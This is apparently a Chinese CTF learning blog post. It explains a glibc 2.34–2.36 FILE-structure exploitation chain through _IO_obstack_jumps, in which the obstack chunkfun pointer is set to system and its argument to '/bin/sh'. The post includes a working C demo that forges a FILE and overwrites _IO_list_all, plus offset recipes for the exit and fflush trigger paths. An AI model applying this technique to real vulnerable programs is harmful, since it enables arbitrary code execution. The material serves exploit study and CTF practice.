引言
这几天上看雪看文章,发现libc居然都出到2.37了,去年2.36的题目都没做过多少(我是FW😭),大佬说2.37之后libc改了很多,没法用House_of_Apple打了,于是介绍了一种新的打法,叫House_of_琴瑟琵琶
大佬原话:
我认为GNU下一步会按2.37的思路不断修改IO,以前很多方法都会渐渐失效,在此我也决定将几个2.37以后失效的攻击链公布出来。(tql)
利用条件
- 可知
heap_base和lib_base - 能打一次
largebin_attack想办法让其走我们伪造的IO - 程序执行IO的有关操作,包括但不限于:从
main函数返回、调用exit函数、通过__malloc_assert触发
有关libc版本的问题
此攻击方式可以在2.34-2.36使用,大佬说看源码应该可以
攻击路径
主要是利用_IO_obstack_jumps中的 _IO_obstack_xsputn函数
1
2
3
4
5
_IO_obstack_xsputn
obstack_grow (obstack, data, n);;
_obstack_newchunk (__o, __len);
new_chunk = CALL_CHUNKFUN (h, new_size);
(*(h)->chunkfun)((h)->extra_arg, (size))
有关结构体
_IO_obstack_jumps跳转表
只有两个表项被初始化了,分别为_IO_obstack_overflow和_IO_obstack_xsputn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* the jump table. */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
_IO_obstack_file结构体
这个结构体和一般的IO_FILE_PLUS没啥区别,就是在下面多了一个指向obstack结构体的指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};
struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};
调用链分析
_IO_obstack_xsputn函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static size_t _IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n); //执行次函数
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
}
else
fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);
return n;
}
obstack_grow宏定义
1
2
3
4
5
6
7
8
9
# define obstack_grow(OBSTACK, where, length) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (__o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \ //执行次函数
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })
_obstack_newchunk函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;
/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;
/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size); //调用函数位置
if (!new_chunk)
(*obstack_alloc_failed_handler)();
h->chunk = new_chunk;
new_chunk->prev = old_chunk;
new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;
/* Compute an aligned object_base in the new chunk */
object_base =
__PTR_ALIGN ((char *) new_chunk, new_chunk->contents, h->alignment_mask);
/* Move the existing object to the new chunk.
Word at a time is fast and is safe if the object
is sufficiently aligned. */
if (h->alignment_mask + 1 >= DEFAULT_ALIGNMENT)
{
for (i = obj_size / sizeof (COPYING_UNIT) - 1;
i >= 0; i--)
((COPYING_UNIT *) object_base)[i]
= ((COPYING_UNIT *) h->object_base)[i];
/* We used to copy the odd few remaining bytes as one extra COPYING_UNIT,
but that can cross a page boundary on a machine
which does not do strict alignment for COPYING_UNITS. */
already = obj_size / sizeof (COPYING_UNIT) * sizeof (COPYING_UNIT);
}
else
already = 0;
/* Copy remaining bytes one by one. */
for (i = already; i < obj_size; i++)
object_base[i] = h->object_base[i];
/* If the object just copied was the only data in OLD_CHUNK,
free that chunk and remove it from the chain.
But not if that chunk might contain an empty object. */
if (!h->maybe_empty_object
&& (h->object_base
== __PTR_ALIGN ((char *) old_chunk, old_chunk->contents,
h->alignment_mask)))
{
new_chunk->prev = old_chunk->prev;
CALL_FREEFUN (h, old_chunk);
}
h->object_base = object_base;
h->next_free = h->object_base + obj_size;
/* The new chunk certainly contains no empty object yet. */
h->maybe_empty_object = 0;
}
CALL_CHUNKFUN宏定义
其中h表示的是我们的obstack结构体指针,chunkfun,use_extra_arg和extra_arg是属于obstack结构体里面的值
1
2
3
4
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \ // 存在函数指针调用
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
调用链总结
其实很简单,只要我们在构造的IO_FILE的vtable后面加一个obstack指针,控制其指向的obstack的属性就可以了,如h->chunkfun=&system与h->extra_arg=&bin_sh
当然了,也要你构造的IO_FILE能调用_IO_obstack_xsputn函数
Demo调试
这个Demo是我按照大佬的调用思路去写的,走的是exit调用IO,事先将IO_list_all改成了我们的fake_IO_FILE
libc版本2.34_3.2
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
int main(){
size_t *p1 = malloc(0x420);
size_t *fake_io;
fake_io=p1-2;
size_t put_addr = &puts;
size_t lib_base = put_addr - 0x80ef0;
size_t IO_list_all = lib_base + (0x7ffff7fb4660 - 0x7ffff7d9a000);
size_t _IO_obstack_jumps_addr = lib_base + (0x7ffff7fb03c0 - 0x7ffff7d9a000);
size_t sys = lib_base + (0x7ffff7deaae0 - 0x7ffff7d9a000);
size_t bin_sh = lib_base + (0x7ffff7f71cba - 0x7ffff7d9a000);
//make fake_IO
//*fake_io = 0x800;
*(fake_io+0x28/8)=0x1; //fp->_IO_write_ptr > fp->_IO_write_base
*(fake_io+0xd8/8)=_IO_obstack_jumps_addr + 0x20;// call _IO_obstack_xsputn
*(fake_io+0xe0/8)=fake_io+0xf0/8; //obstack
size_t *fake_obstack = fake_io+0xf0/8;
//make obstack
*(fake_obstack+0x38/8)=sys; //h->chunkfun
*(fake_obstack+0x48/8)=bin_sh; //h->extra_arg
*(fake_obstack+0x50/8)=1; //h->use_extra_arg
//change IO_list_all
size_t *p2 = (size_t *)IO_list_all;
*p2 = fake_io;
exit(0);
}
直接开调
构造FAKE_IO_FILE结构体
可以看到vtable改成了到时候可以调用_IO_obstack_xsputn函数
obstack结构体就刚好也在这个堆块内,就放在了下面,这个结构体放在哪没什么所谓,另一个堆块也行
构造obstack结构体
刚好也是在堆块内部,其实放哪无所谓
改IO_list_all就不看了,这个按照正常来说是通过largebin写一个堆地址的
跟踪到IO_flush_all_lock准备调用_IO_obstack_xsputn
调用_obstack_newchunk
可以看到RDI是我们的obstack指针
调用CALL_CHUNKFUN来运行system
FAKE_IO_FILE伪造
那FAKE_IO如何伪造才可以调用_IO_obstack_xsputn函数呢
走exit的
对fp的设置如下:
vtable设置为_IO_obstack_jumps地址(加减偏移),使其能成功调用_IO_obstack_xsputn即可,也就是*(fp+0xd8)=_IO_obstack_jumps地址(加减偏移)fp->_mode<= 0,也即*(fp+0xc0) = 0fp->_IO_write_ptr>fp->_IO_write_base,也即*(fp+0x28) > *(fp+0x20)fp->h= 地址A,也即*(fp+0xe0)=地址Afp->h->chunkfun=&system,也即*(地址A+0x38)=&systemfp->h->extra_arg=&bin_sh,也即*(地址A+0x48)=&bin_shfp->h->use_extra_arg=1,也即*(地址A+0x50)=1
走fflush的
有很多,这里只说一种
对fp的设置如下:
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格vtable设置为_IO_obstack_jumps地址(加减偏移),使其能成功调用_IO_obstack_xsputn即可,也就是*(fp+0xd8)=_IO_obstack_jumps地址(加减偏移)fp->h= 地址A,也即*(fp+0xe0)=地址Afp->h->chunkfun=&system,也即*(地址A+0x38)=&systemfp->h->extra_arg=&bin_sh,也即*(地址A+0x48)=&bin_shfp->h->use_extra_arg=1,也即*(地址A+0x50)=1
走__malloc_assert
未完工,house_of_cat还不是很熟XD,不过浅浅看了一下调用链和fflush差不多呀….
1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
总结
最后感谢大佬提供的思路,不知道是不是以后不能打wide_data了,先把这个学一下把,不过其实说实话看上去和打wide_data差不多,只不过是利用了其他的结构体和字段而已




